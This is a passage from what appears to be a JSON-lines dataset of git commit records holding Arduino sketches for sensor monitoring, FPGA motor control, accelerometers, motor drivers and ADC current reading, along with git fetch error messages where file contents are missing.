60.0;\n\n}\n\nvoid flow_rate(){\n \/\/ flow rate code\n flowrate = (pulses - last_pulses) \/ (duration\/1000) ; \/\/Hz\n flowrate = (flowrate + 3)\/8.1; \/\/ L\/min\n flowrate_str = String(flowrate);\n last_pulses = pulses;\n}\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ 7. SHAFT TEMPERATURE SENSOR\n\/\/\n\/\/ This device uses a 2KHz SPI protocol and has no memory scratchpad to read from so data must be read sequentially\n\/\/ according to its clock speed It takes approximately 470ms for a reading and the data is five bytes long.\n\n#define ClockPin 6 \/\/ clock in \n#define DataPin 7 \/\/data in \n#define TestPin 8 \/\/driver pin set pin low to start deliver data\n\nString shaftTemp = \"\";\n\nvoid data_read(int *p)\n{\n int i,j,PinState,tempData; \n unsigned long time_check=millis();\n digitalWrite(TestPin, LOW); \/\/start device transmission\n for(i=0;i<5;i++) { \/\/read 5 bytes\n for(j=0;j<8;j++){ \/\/read 8 bits\n do{\n PinState = digitalRead(ClockPin);\n \n } while(PinState); \/\/sync to clock by waiting for change to LOW \n delayMicroseconds(100); \/\/buffer\n PinState = digitalRead(DataPin); \/\/read data bit\n if(1 == PinState) \n tempData = (tempData<<1 & 0xfe)+1; \/\/add 1\n else\n tempData = (tempData<<1 & 0xfe); \/\/add 0\n do{\n PinState = digitalRead(ClockPin); \/\/get stuck until clock changes\n \n if ((millis() - time_check) >= 2000){\/\/Haha, let's NOT get stuck if the thing is unplugged\n\/\/ Serial.println(\"break at 20ms\");\n break;\n }\n }while(PinState != 1);\n }\n *p++ = tempData; \/\/pass byte to array pointer address \n }\n digitalWrite(TestPin, HIGH); \/\/stop device transmission\n}\n\nvoid shaft_temp(){\n int data_buf[5] = {0};\n int tempData = 0;\n data_read(data_buf);\n tempData = data_buf[1]*256 + data_buf[2];\n shaftTemp = String((float)tempData\/16-273.15);\n}\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ 8. TEMPERATURE SENSORS\n#include <OneWire.h>\n#include <DallasTemperature.h>\n\n\n#define ONE_WIRE_BUS 4 \/\/ Data wire is plugged into port 2 on the Arduino\n#define TEMPERATURE_PRECISION 9 \/\/ 9 bits or one decimal point\n\n\/\/ Setup a oneWire instance to communicate with any OneWire devices (not just Maxim\/Dallas temperature ICs)\nOneWire oneWire(ONE_WIRE_BUS); \n\nDallasTemperature sensors(&oneWire); \/\/ Pass our oneWire reference to Dallas Temperature.\nDeviceAddress casingTemperature, ambientTemperature, glandTemperature; \/\/ OneWire variables\nunsigned long lastTempRequest = 0;\nint delayInMillis = 0;\nString ambient_temperature = \"\";\nString casing_temperature = \"\";\nString gland_temperature = \"\";\nint idle = 0;\n\nvoid one_wire_temps(){\n \/\/ OneWire sensor setup\n \/\/ waited long enough??\n ambient_temperature = String(sensors.getTempCByIndex(0));\n casing_temperature = String(sensors.getTempCByIndex(1));\n gland_temperature = String(sensors.getTempCByIndex (2));\n sensors.requestTemperatures(); \n delayInMillis = 750 \/ (1 << (3));\n lastTempRequest = millis(); \n \n\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ 9. SOFTWARE SERIAL TO FFT\n\nSoftwareSerial mySerial(11, 9); \/\/ RX, TX\n\nboolean data_received = false;\nString data_mic = \"\";\nString data_x = \"\";\nString data_y = \"\";\nString data_z = \"\";\n\nvoid receive_FFT(){\n\n data_mic = \"\";\n data_x = \"\";\n data_y = \"\";\n data_z = \"\";\n\n \/\/Serial.println(\"2.\\t My serialwrite M\");\n mySerial.write(\"M\");\n for (int i = 0; i < 20; i++){\n \/\/Serial.println(\"waiting\");\n while(mySerial.available()){\n \/\/Serial.println(\"available\");\n data_mic += char(mySerial.read());\n }\n delay(5); \/\/This delay help wait until the mySerial is available (not sure what the optimal value is here)\n }\n\n \/\/Serial.println(\"2.\\t My serialwrite x\");\n\n mySerial.print(\"X\");\n for (int i = 0; i < 20; i++){\n while(mySerial.available()){\n data_x += char(mySerial.read());\n }\n delay(5); \/\/This delay help wait until the mySerial is available (not sure what the optimal value is here)\n }\n mySerial.print(\"Y\");\n for (int i = 0; i < 20; i++){\n while(mySerial.available()){\n data_y += char(mySerial.read());\n }\n delay(5); \/\/This delay help wait until the mySerial is available (not sure what the optimal value is here)\n }\n mySerial.print(\"Z\");\n for (int i = 0; i < 20; i++){\n while(mySerial.available()){\n data_z += char(mySerial.read());\n }\n delay(5); \/\/This delay help wait until the mySerial is available (not sure what the optimal value is here)\n }\n mySerial.print(\"E\");\n \n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ 10. LOAD FILM SENSOR\nfloat v_in = 5.04;\/\/ Measure and correct the V in.\nfloat load1_v_out = 0.0;\nfloat load2_v_out = 0.0;\nfloat res_1 = 50350.0; \/\/ Measure the value of R1 in voltage divider circuit.\nfloat res_2 = 0.0;\n\nconst int loadSignal1 = A4;\nconst int loadSignal2 = A5;\n\nfloat load1 = 0.0;\nfloat load2 = 0.0;\nfloat load1_val = 0.0;\nfloat load2_val = 0.0;\nfloat load_cap = 10000000.0;\nString load1_res2 = \"0.0\";\nString load2_res2 = \"0.0\";\n\nconst int numRead = 10;\nfloat readings_load1[numRead];\nfloat readings_load2[numRead];\nint load_read_index = 0;\nfloat total_load1 = 0.0;\nfloat total_load2 = 0.0;\nfloat ave_load1 = 0.0;\nfloat ave_load2 = 0.0;\n\n\n\nvoid film_sensor(){\n \/\/Read analog signal\n load1 = float(analogRead(loadSignal1));\n load2 = float(analogRead(loadSignal2));\n \/\/Convert analog signal to voltage\n load1_v_out = load1 \/ 1023 * v_in;\n load2_v_out = load2 \/ 1023 * v_in;\n \/\/Calculate the resistance value of the film sensor\n load1_val = res_1 \/ (v_in \/ load1_v_out - 1.0);\n load2_val = res_1 \/ (v_in \/ load2_v_out - 1.0);\n \/\/If value is higher than the cap, it sets to the cap value, because the value can reach INF\n if(load1_val > load_cap){\n load1_val = 10000000.0;\n }\n if(load2_val > load_cap){\n load2_val = 10000000.0;\n }\n\n \/\/\/ Smoothing code starts\n total_load1 -= readings_load1[load_read_index];\n total_load2 -= readings_load2[load_read_index];\n\n readings_load1[load_read_index] = load1_val;\n readings_load2[load_read_index] = load2_val;\n\n total_load1 += readings_load1[load_read_index];\n total_load2 += readings_load2[load_read_index];\n\n load_read_index += 1;\n\n if (load_read_index >= numRead) load_read_index = 0;\n\n ave_load1 = total_load1 \/ float(numRead);\n ave_load2 = total_load2 \/ float(numRead);\n \/\/Smoothing code ends\n \n load1_res2 = String(ave_load1);\n load2_res2 = String(ave_load2);\n \n}\n\n\/\/int addresses = \n\n\nvoid add_data(String to_add){\n data += \",\";\n data += to_add;\n}\n\nvoid setup() {\n Serial.begin(9600); \/\/Enable serial at high speed \n\n \/\/ Software Serial to FFT micro\n mySerial.begin(57600);\n\n \/\/analogReference(EXTERNAL); \/\/Important or we send 5V into the 3V3 pin!\n \n \/\/Initialize SEN0093 pins (shaft temperature)\n pinMode(DataPin,INPUT);\n pinMode(ClockPin,INPUT);\n pinMode(TestPin,OUTPUT);\n digitalWrite(TestPin, HIGH);\n \n \/\/Initialize the water level samples array\n for (int i = 0; i<water_level_sample_window; i++){\n water_level_samples[i]=0;\n }\n\n \/\/ Tachometer setup\n pinMode(solenoidValvePin,OUTPUT);\\\n digitalWrite (TACH, HIGH); \/\/ internal pull-up resistor built in :-)\n attachInterrupt (digitalPinToInterrupt(2), revolution, RISING); \/\/ attach interrupt handler for tachometer\n attachInterrupt (digitalPinToInterrupt(3), flowCalc, RISING); \/\/ attach interrupt handler for flow meter\n\n \/\/ OneWire sensor setup\n sensors.begin();\n if (!sensors.getAddress(ambientTemperature, 0)) Serial.println(\"Unable to find address for Device 0\"); \n if (!sensors.getAddress(casingTemperature, 1)) Serial.println(\"Unable to find address for Device 1\"); \n if (!sensors.getAddress(glandTemperature, 2)) Serial.println (\"Unable to find address for Device 2\");\n sensors.setResolution(ambientTemperature, TEMPERATURE_PRECISION);\n sensors.setResolution(casingTemperature, TEMPERATURE_PRECISION);\n sensors.setResolution(glandTemperature, TEMPERATURE_PRECISION);\n sensors.setWaitForConversion(false); \/\/Important undocumented feature that is only needed for \"parasitic mode\"\n sensors.requestTemperatures();\n delayInMillis = 750 \/ (1 << (3)); \n lastTempRequest = millis(); \n\n \/\/Liquid Flow Sensor Setup\n pinMode(FLOWSENSORPIN, INPUT);\n digitalWrite(FLOWSENSORPIN, HIGH);\n lastflowpinstate = digitalRead(FLOWSENSORPIN);\n\/\/ useInterrupt(true);\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/Initialise load film array\n for(int x = 0; x < numRead; x++){\n readings_load1[x] = 0.0;\n readings_load2[x] = 0.0;\n }\n\n}\n\nvoid loop() {\n position_sensors();\n fluid_level_sensor();\n solenoid_drain_valve();\n tachometer_sensor();\n flow_rate_sensor();\n film_sensor();\n\n \n if (millis() - last_print_time >= PRINT_DELAY){\n \/\/Serial.println(\"yoy\");\n\n rpm_calculation();\n flow_rate();\n shaft_temp();\n one_wire_temps();\n\n data = \"D\";\n add_data(NODE_ID);\n add_data(shaftTemp);\n add_data(ambient_temperature);\n add_data(casing_temperature);\n add_data(gland_temperature);\n add_data(rpm);\n add_data(load1_res2);\n add_data(load2_res2);\n add_data(flow_rate_cc_per_sec);\n add_data(flowrate_str);\n add_data(position1_mm);\n add_data(position2_mm);\n \n receive_FFT();\n \/\/mySerial.print(\"RRRRR\");\n \/\/Serial.println(water_level_cm);\n Serial.println(data);\n Serial.println(\"M\" + data_mic);\n Serial.println(\"X\" + data_x);\n Serial.println(\"Y\" + data_y);\n Serial.println(\"Z\" + data_z); \n Serial.println(\"\");\n \n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/Go back to Zero Delay Loop\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n attachInterrupt (0, revolution, RISING); \/\/ re-attach interrupt handler for tachometer\n attachInterrupt (1, flowCalc, RISING); \/\/ re-attach interrupt handler for flush flow rate sensor\n last_print_time = millis();\n revolution_occured = false;\n \/\/pulses = 0;\n lastflowratetimer = 0;\n \n }\n \n\n \n\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/_firmware3\/_firmware3.ino' did not match any file(s) known to git\n","license":"cc0-1.0","lang":"Arduino"} {"commit":"2203791e13ccc1eb66f493bfbcf7f29779660563","subject":"Optimise data types","message":"Optimise data types","repos":"majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino","old_file":"build\/shared\/examples\/02.Digital\/DigitalInputPullup\/DigitalInputPullup.ino","new_file":"build\/shared\/examples\/02.Digital\/DigitalInputPullup\/DigitalInputPullup.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"fatal: remote error: upload-pack: not our ref 2203791e13ccc1eb66f493bfbcf7f29779660563\nfatal: the remote end hung up unexpectedly\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"e29d8cbec33c26270520d44da4e3d37e90cccb3a","subject":"added a gist that enables direct control of the FPGA board. Have to disconnect accelerometers before flashing!","message":"added a gist that enables direct control of the FPGA board. Have to disconnect accelerometers before flashing!\n","repos":"maxosprojects\/open-dobot,maxosprojects\/open-dobot,maxosprojects\/open-dobot,maxosprojects\/open-dobot","old_file":"FPGA-SPI-protocol\/fpga-spi-reproduce.ino","new_file":"FPGA-SPI-protocol\/fpga-spi-reproduce.ino","new_contents":"\n\/\/ !!!!!!!!!!!\n\/\/\n\/\/ HAVE TO DISCONNECT ACCELEROMETERS BEFORE FLASHING (FOR NOW) !!!\n\/\/\n\/\/ !!!!!!!!!!!\n\n#include <SPI.h>\n\nconst int fpgaEnablePin = 40;\nconst int fpgaCommandPin = 42;\nconst int boardAccelsPin = 49;\n\n\/\/ Rest\nvolatile unsigned char seqRest[19] = {\n0xa5, \/\/ start signature\n0x2, \/\/ motor1 block start (middle driver - Stepper_Rot)\n0x42,\n0xf0,\n0x0,\n0x2, \/\/ motor2 block start (left driver - Stepper_R)\n0x42,\n0xf0,\n0x0,\n0x2, \/\/ motor3 block start (right driver - Stepper_L)\n0x42,\n0xf0,\n0x0,\n0xe0, \/\/ motors direction ([bit7-bit0]: bit7 - motor1, bit6 - motor2, bit5 - motor3)\n0x2f,\n0x80,\n0x2f,\n0x80,\n0x5a \/\/ end signature\n};\n\n\/\/ 1.45kHz on motor1 only\nvolatile unsigned char seqMove[19] = {\n0xa5,\n0x1a,\n0xc2,\n0x0,\n0x86,\n0x2,\n0x42,\n0xf0,\n0x0,\n0x2,\n0x42,\n0xf0,\n0x0,\n0xa0,\n0x2f,\n0x80,\n0x2f,\n0x80,\n0x5a\n};\n\n\/\/ 1.3kHz on motor1 only\nvolatile unsigned char seqMove2[19] = {\n0xa5, \/\/ start signature\n0xb8, \/\/ motor1 block start\n0xd2,\n0x0,\n0xa3,\n0x2, \/\/ motor2 block start\n0x42,\n0xf0,\n0x0,\n0x2, \/\/ motor3 block start\n0x42,\n0xf0,\n0x0,\n0xe0, \/\/ direction\n0x2f,\n0x80,\n0x2f,\n0x80,\n0x5a \/\/ end signature\n};\n\nvoid setup (void) {\n \/\/ have to send on master in, *slave out*\n pinMode(MISO, OUTPUT);\n pinMode(MOSI, INPUT);\n pinMode(SCK, INPUT);\n pinMode(SS, INPUT);\n\n pinMode(fpgaEnablePin, OUTPUT);\n pinMode(fpgaCommandPin, OUTPUT);\n pinMode(boardAccelsPin, OUTPUT);\n\n digitalWrite(fpgaCommandPin, LOW);\n digitalWrite(boardAccelsPin, LOW);\n\n \/\/ turn on SPI in slave mode\n \/\/ CPOL=0, CPHA=1 - Trailing (Falling) Edge\n \/\/ enable interrupt\n \/\/ SPCR = _BV(SPE) | _BV(CPHA) | _BV(SPIE);\n SPCR = _BV(SPE) | _BV(CPHA);\n\n digitalWrite(fpgaEnablePin, HIGH);\n}\n\nvoid loop(void) {\n unsigned char i = 0;\n byte data;\n while (true) {\n if (SPDR == 0x5a) {\n SPDR = 0x00;\n digitalWrite(fpgaCommandPin, HIGH);\n while(!(SPSR & (1<<SPIF) ));\n for (unsigned char i = 0; i < 19; i++) {\n SPDR = seqMove2[i];\n while(!(SPSR & (1<<SPIF) ));\n data = SPDR;\n }\n digitalWrite(fpgaCommandPin, LOW);\n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'FPGA-SPI-protocol\/fpga-spi-reproduce.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"39186b136c94590c94b2eade51baf2cbba991e42","subject":"Create accelerometerSpeed.ino","message":"Create accelerometerSpeed.ino","repos":"dalmago\/freeFall","old_file":"FreeFall_embedded\/accelerometerSpeed.ino","new_file":"FreeFall_embedded\/accelerometerSpeed.ino","new_contents":"\n\/\/ I2Cdev and MPU6050 must be installed as libraries, or else the .cpp\/.h files\n\/\/ for both classes must be in the include path of your project\n#include \"I2Cdev.h\"\n#include \"MPU6050.h\"\n#include \"Wire.h\"\n\n#define scale 1000\n#define timeExecution 50\n\n\nMPU6050 accelgyro;\n\nint16_t ax, ay, az;\nint sum1, sum2, sum3, dif, acceleration;\nint speed = 0;\nint count = 0;\n\n#define LED_PIN 13\nbool blinkState = false;\n\nvoid setup() {\n \n Wire.begin();\n \/\/ (38400 chosen because it works as well at 8MHz as it does at 16MHz, but\n Serial.begin(38400);\n\n \/\/ initialize device\n Serial.println(\"Initializing I2C devices...\");\n accelgyro.initialize();\n\n \/\/ verify connection\n Serial.println(\"Testing device connections...\");\n Serial.println(accelgyro.testConnection() ? \"MPU6050 connection successful\" : \"MPU6050 connection failed\");\n\n pinMode(LED_PIN, OUTPUT);\n \n}\n\nvoid loop() {\n \/\/ read raw accel\/gyro measurements from device\n \/\/accelgyro.getMotion6(&ax, &ay, &az, &gx, &gy, &gz);\n \/\/ these methods (and a few others) are also available\n sum3 = sum2;\n sum2 = sum1;\n accelgyro.getAcceleration(&ax, &ay, &az);\n sum1 = ax+ay+az;\n dif = (sum1-sum2)+(sum1-sum3)+(sum2-sum3);\n acceleration = dif\/scale;\n if(count < 10)\n speed = 0;\n else \n \/\/if(speed > 0 && acceleration == 0)\n \/\/ speed = speed - speed*0.4;\n \/\/else\n speed = abs(speed + (acceleration *timeExecution));\n \n \/\/ display tab -separated accel\/gyro x\/y\/z values\n Serial.print(\"a:\\t\");\n Serial.print(ax); Serial.print(\"\\t\");\n Serial.print(ay); Serial.print(\"\\t\");\n Serial.print(az); Serial.print(\"\\t\");\n Serial.print(sum1);Serial.print(\"\\t\");\n Serial.print(sum2);Serial.print(\"\\t\");\n Serial.print(sum3);Serial.print(\"\\t\");\n Serial.print(dif);Serial.print(\"\\t\");\n Serial.print(acceleration);Serial.print(\"\\t\");\n Serial.println(speed);Serial.print(\"\\t\");\n \n \/\/ blink LED to indicate activity\n blinkState = !blinkState;\n digitalWrite(LED_PIN, blinkState);\n delay(timeExecution);\n count++;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'FreeFall_embedded\/accelerometerSpeed.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"52ca4a0aa6afe4a67a5a246f0de716e39107e4b8","subject":"This sketch decode nmea messages on serial port and send orders to sabertooth card controlling motors.","message":"This sketch decode nmea messages on serial port and send orders to sabertooth card controlling motors.\n","repos":"baptistelabat\/robokite,baptistelabat\/robokite,baptistelabat\/robokite,baptistelabat\/robokite,baptistelabat\/robokite,baptistelabat\/robokite,baptistelabat\/robokite,baptistelabat\/robokite","old_file":"Arduino\/Simple\/src\/src.ino","new_file":"Arduino\/Simple\/src\/src.ino","new_contents":"\/\/ Copyright (c) 2013 Nautilabs\n\/\/ https:\/\/github.com\/baptistelabat\/robokite\n\n\/\/ This file used SoftwareSerial example (Copyright (c) 2012 Dimension Engineering LLC)\n\/\/ for Sabertooth http:\/\/www.dimensionengineering.com\/software\/SabertoothSimplifiedArduinoLibrary\/html\/index.html\n\/\/ See license.txt in the Sabertooth arduino library for license details.\n\/\/\n\/\/ The selector 1 3 5 6 have to be on on.\n\/\/\n\/\/ Using example in http:\/\/code.google.com\/p\/arduino-pinchangeint\/wiki\/Usage\n\/\/ Parts of code taken from http:\/\/playground.arduino.cc\/Main\/RotaryEncoders J.Carter(of Earth)\n\/\/\n\/\/\n\/\/ Connections\n\/\/ Arduino Sabertooth\n\/\/ 8 (soft RX) TX\n\n\n#include <SoftwareSerial.h>\n#include <SabertoothSimplified.h>\n#include <TinyGPS++.h>\n#include <PID_v1.h>\n\nconst int ledPin = 13;\n\nString inputString = \"\"; \/\/ a string to hold incoming data\nboolean stringComplete = false; \/\/ whether the string is complete\n\n\/\/Note: NOT_A_PIN (0) was previously used for RX which is not used, but this was causing problems\nSoftwareSerial SWSerial(10, 8); \/\/ RX, TX. RX on no pin (unused), TX on pin 8 (to S1).\nSabertoothSimplified ST(SWSerial); \/\/ Use SWSerial as the serial port.\nint power1, power2;\n\nTinyGPSPlus nmea;\n\/\/ O stands for Opensource, R for Robokite\n\/\/ The index is the place of the field in the NMEA message\nTinyGPSCustom feedback_request (nmea, \"ORFBR\", 1); \/\/ Feedback request\nTinyGPSCustom pwm1 (nmea, \"ORPW1\", 1); \/\/ Dimentionless voltage setpoint (Pulse Width Modulation) for Sabertooth output 1\nTinyGPSCustom pwm2 (nmea, \"ORPW2\", 1); \/\/ Dimentionless voltage setpoint (Pulse Width Modulation) for Sabertooth output 2\nTinyGPSCustom setpos1 (nmea, \"ORSP1\", 1); \/\/ Position setpoint for Sabertooth output 1\nTinyGPSCustom setpos2 (nmea, \"ORSP2\", 1); \/\/ Position setpoint for Sabertooth output 2\nboolean isFeedbackRequested = false;\n\n\/\/ Define Variables we'll be connecting to\ndouble Setpoint1, Input1, Output1;\ndouble Setpoint2, Input2, Output2;\n\/\/ Specify the links and initial tuning parameters (Kp, Ki, Kd)\nPID myPID1(&Input1, &Output1, &Setpoint1, 1, 0, 0, DIRECT);\nPID myPID2(&Input2, &Output2, &Setpoint2, 1, 0, 0, DIRECT);\n\nvoid setup()\n{\n \/\/ Initialize software serial communication with Sabertooth \n SWSerial.begin(9600);\n \n \/\/ Initialize serial communications with computer\n Serial.begin(57600);\n \n \/\/ reserve bytes for the inputString:\n inputString.reserve(200);\n}\n\n\/*\n SerialEvent occurs whenever a new data comes in the\n hardware serial RX. This routine is run between each\n time loop() runs, so using delay inside loop can delay\n response. Multiple bytes of data may be available.\n *\/\nvoid serialEvent()\n{\n while (Serial.available()) {\n \/\/ get the new byte:\n char inChar = (char)Serial.read(); \n \/\/ add it to the inputString:\n inputString += inChar;\n \/\/ if the incoming character is a newline, set a flag\n \/\/ so the main loop can do something about it:\n if (inChar == '\\n') {\n stringComplete = true;\n } \n }\n}\n\nvoid loop()\n{\n processSerialInput();\n computeFeedback();\n sendFeedback();\n computeOrder();\n sendOrder();\n delay(10);\n}\n\nvoid processSerialInput()\n{\n \/\/ print the string when a newline arrives:\n if (stringComplete)\n { \n \/\/Serial.println(inputString);\n char ctab[inputString.length()+1];\n inputString.toCharArray(ctab, sizeof(ctab));\n char *gpsStream = ctab;\n \n while (*gpsStream)\n {\n if (nmea.encode(*gpsStream++))\n {\n if (pwm1.isUpdated())\n { \n myPID1.SetMode(MANUAL);\n }\n if (pwm2.isUpdated())\n {\n myPID2.SetMode(MANUAL);\n }\n if (feedback_request.isUpdated())\n {\n isFeedbackRequested = true;\n digitalWrite(ledPin, HIGH);\n }\n \n }\n }\n \/\/ clear the string:\n inputString = \"\";\n stringComplete = false;\n }\n}\n\nvoid computeFeedback()\n{\n}\n\nvoid sendFeedback()\n{\n if (isFeedbackRequested)\n {\n Serial.print((power1+127)*4);\n Serial.print(\", \");\n Serial.print((power2+127)*4);\n Serial.println(\"\");\n isFeedbackRequested = false;\n }\n}\n\nvoid computeOrder()\n{\n if (myPID1.GetMode() == MANUAL)\n {\n power1 = atoi(pwm1.value());\n }\n if (myPID2.GetMode() == MANUAL)\n {\n power2 = atoi(pwm2.value());\n }\n}\n\nvoid sendOrder()\n{\n \/\/ Order in the range -127\/127\n ST.motor(1, power1);\n ST.motor(2, power2);\n}\n \n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/Simple\/src\/src.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"538c16762374b29a50002210445591cc0fac8de4","subject":"add comments","message":"add comments","repos":"yamaha-webmusic\/ymf825board,yamaha-webmusic\/ymf825board","old_file":"sample1\/ymf825board_sample1\/ymf825board_sample1.ino","new_file":"sample1\/ymf825board_sample1\/ymf825board_sample1.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/yamaha-webmusic\/ymf825board.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"63af6d3dd33e442782f8bb769153560aabac1644","subject":"added untested current reading code","message":"added untested current reading code\n","repos":"purduerov\/XX-Core,purduerov\/XX-Core,purduerov\/XX-Core,purduerov\/XX-Core,purduerov\/XX-Core,purduerov\/XX-Core","old_file":"rov\/sensors\/axuillarymicros\/current\/current.ino","new_file":"rov\/sensors\/axuillarymicros\/current\/current.ino","new_contents":"\/\/ import No Design 2013 MCP3008 library\n\n#include <MCP3008.h>\n#include <Wire.h>\n \n\/\/define pin connections\n\n#define CS_PIN1 7\n#define CS_PIN2 8\n#define CS_PIN3 12\n#define CS_PIN4 13\n\/\/consider using ICSP instead of these pins\n\n#define CLOCK_PIN 9\n#define MOSI_PIN 11\n#define MISO_PIN 10\n \nMCP3008 adc1(CLOCK_PIN, MOSI_PIN, MISO_PIN, CS_PIN1);\nMCP3008 adc2(CLOCK_PIN, MOSI_PIN, MISO_PIN, CS_PIN2);\nMCP3008 adc3(CLOCK_PIN, MOSI_PIN, MISO_PIN, CS_PIN3);\nMCP3008 adc4(CLOCK_PIN, MOSI_PIN, MISO_PIN, CS_PIN4);\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n Wire.begin(0x76);\n Wire.onRequest(writeData);\n}\n\nvoid loop() {\n \n}\n\nvoid writeData() {\n for (int i=0; i < 8; i++) {\n int val1 = adc1.readADC(i);\n Wire.write(val1);\n }\n\n for (int i = 0; i < 8; i++) {\n int val2 = adc2.readADC(i);\n Wire.write(val2);\n }\n\n for (int i = 0; i < 8; i++) {\n int val3 = adc3.readADC(i);\n Wire.write(val3);\n }\n\n for (int i = 0; i < 8; i++) {\n int val4 = adc4.readADC(i);\n Wire.write(val4);\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'rov\/sensors\/axuillarymicros\/current\/current.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"92f5791c0df3a328e601dfd5cb77b14207a9cc53","subject":"Write temperature sensor data to SD card.","message":"Write temperature sensor data to SD card.\n","repos":"UCLARocketProject\/2014-2015,karikawa\/2014-2015,karikawa\/2014-2015,UCLARocketProject\/2014-2015,karikawa\/2014-2015,UCLARocketProject\/2014-2015,UCLARocketProject\/2014-2015,karikawa\/2014-2015,karikawa\/2014-2015,UCLARocketProject\/2014-2015","old_file":"Calibration\/Write Temperature Data to SD Card\/tempToSDCard\/tempToSDCard.ino","new_file":"Calibration\/Write Temperature Data to SD Card\/tempToSDCard\/tempToSDCard.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Calibration\/Write' did not match any file(s) known to git\nerror: pathspec 'Temperature' did not match any file(s) known to git\nerror: pathspec 'Data' did not match any file(s) known to git\nerror: pathspec 'to' did not match any file(s) known to git\nerror: pathspec 'SD' did not match any file(s) known to git\nerror: pathspec 'Card\/tempToSDCard\/tempToSDCard.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b3cc65262f5a734232a33711293a4b1ef2cdfa80","subject":"Working with Rotary Encoder","message":"Working with Rotary Encoder\n","repos":"rniemand\/ArduinoProjects,rniemand\/ArduinoProjects,rniemand\/ArduinoProjects,rniemand\/ArduinoProjects","old_file":"[learning]\/RotaryEncoder\/RotaryEncoder.ino","new_file":"[learning]\/RotaryEncoder\/RotaryEncoder.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/rniemand\/ArduinoProjects.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"0316ae715e4d1e0b4bc7b8af206ff73421a5f029","subject":"Rename the method.","message":"Rename the method.\n","repos":"maleagha\/PaceClock","old_file":"Two7SegmentLED\/Two7SegmentLED.ino","new_file":"Two7SegmentLED\/Two7SegmentLED.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/maleagha\/PaceClock.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"df81f282fc9fb64d05f3fabcbd709857797d9999","subject":"hmm, this look ahead looks reasonable","message":"hmm, this look ahead looks reasonable\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"GearingTest\/GearingTest.ino","new_file":"GearingTest\/GearingTest.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see 